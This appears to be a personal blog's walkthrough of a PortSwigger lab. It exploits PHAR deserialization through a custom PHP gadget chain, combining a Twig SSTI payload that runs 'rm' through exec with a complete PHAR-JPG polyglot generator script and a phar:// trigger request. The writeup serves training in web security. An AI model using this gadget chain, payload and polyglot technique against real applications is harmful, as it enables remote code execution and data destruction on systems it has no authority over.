siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Using PHAR deserialization to deploy a custom gadget chain | Jan 13, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Using PHAR deserialization to deploy a custom gadget chain! Without further ado, let’s dive in.

Background

This lab does not explicitly use deserialization. However, if you combine PHAR deserialization with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.

To solve the lab, delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Login as user wiener:

In here, we can upload an avatar image file.

We can try to upload a valid image file:

Burp Suite HTTP history:

When we clicked the “Upload” button, it’ll send a POST request to /my-account/avatar.

Let’s view our avatar:

It reaches /cgi-bin/avatar.php, with GET parameter avatar and it’s value is our username.

Let’s check /cgi-bin:

As you can see, it has 3 PHP files: CustomTemplate.php, Blog.php, avatar.php.

The first two of them’s source code can be view, as it appended a ~ character is the end of the extension.

CustomTemplate.php:

<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>

In CustomTemplate.php, there is a class called CustomTemplate.

Also, there is a __destruct() magic method, which will be invoked when the PHP script is stopped or exited.

When this method is invoked, it’ll delete a file from CustomTemplate->lockFilePath(), which is templates/$CustomTemplate->template_file_path.lock.

Moreover, the isTemplateLocked() method is using file_exists() method on CustomTemplate->lockFilePath() attribute.

Blog.php:

<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>

In Blog.php, it uses Twig template engine, and there is a class called Blog.

The __wakeup() magic method is interesting for us, as it’ll automatically invoked during the deserialization process.

When the __wakeup() magic method is invoked, it’ll create a new object from Twig_Environment(), and it’s referring the Blog->desc attribute.

Armed with above information, we can exploit SSTI (Server-Side Template Injection) and using PHAR stream to gain remote code execution!

According to HackTricks, we can gain remote code execution via:

Now we have a SSTI payload, we can build a PHP payload:

class CustomTemplate {}
class Blog {}

$object = new CustomTemplate;
$blog = new Blog;

$blog->user = 'any_user_you_want';
$blog->desc = '\{\{_self.env.registerUndefinedFilterCallback("exec")\}\}\{\{_self.env.getFilter("rm /home/carlos/morale.txt")\}\}';

$object->template_file_path = $blog;

This payload will set a SSTI payload in the Blog->desc attribute, which will then parsed to CustomTemplate->template_file_path.

Finally, we can create a PHAR payload.

According to this GitHub repository, we can create a PHAR JPG ploygot:

┌[root♥siunam]-(/opt)-[2023.01.13|15:21:05]
└> git clone https://github.com/kunte0/phar-jpg-polyglot.git;cd phar-jpg-polyglot

phar_jpg_polyglot.php:

<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();
    
    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed 
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// pop exploit class
class CustomTemplate {}
class Blog {}

$object = new CustomTemplate;
$blog = new Blog;
$blog->user = 'any_user_you_want';
$blog->desc = '\{\{_self.env.registerUndefinedFilterCallback("exec")\}\}\{\{_self.env.getFilter("rm /home/carlos/morale.txt")\}\}';
$object->template_file_path = $blog;


// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// config for gif
$prefix = "\x47\x49\x46\x38\x39\x61" . "\x2c\x01\x2c\x01"; // gif header, size 300 x 300
$tempname = 'temp.phar'; // make it phar
$outfile = 'out.gif';

// make gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

Generate PHAR JPG polygot:

┌[root♥siunam]-(/opt/phar-jpg-polyglot)-[2023.01.13|15:23:56]-[git://master ✗]
└> php -c php.ini phar_jpg_polyglot.php
string(229) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:17:"any_user_you_want";s:4:"desc";s:106:"\{\{_self.env.registerUndefinedFilterCallback("exec")\}\}\{\{_self.env.getFilter("rm /home/carlos/morale.txt")\}\}";}}"
┌[root♥siunam]-(/opt/phar-jpg-polyglot)-[2023.01.13|15:23:58]-[git://master ✗]
└> ls -lah out.jpg     
-rw-r--r-- 1 root root 132K Jan 13 15:23 out.jpg

Upload it:

Then, we can send a GET requesto to /cgi-bin/avatar.php, with parameter avatar, and value phar://wiener. This will use the PHAR stream, which will trigger the remote code execution payload:

Nice!

What we’ve learned:

  1. Using PHAR deserialization to deploy a custom gadget chain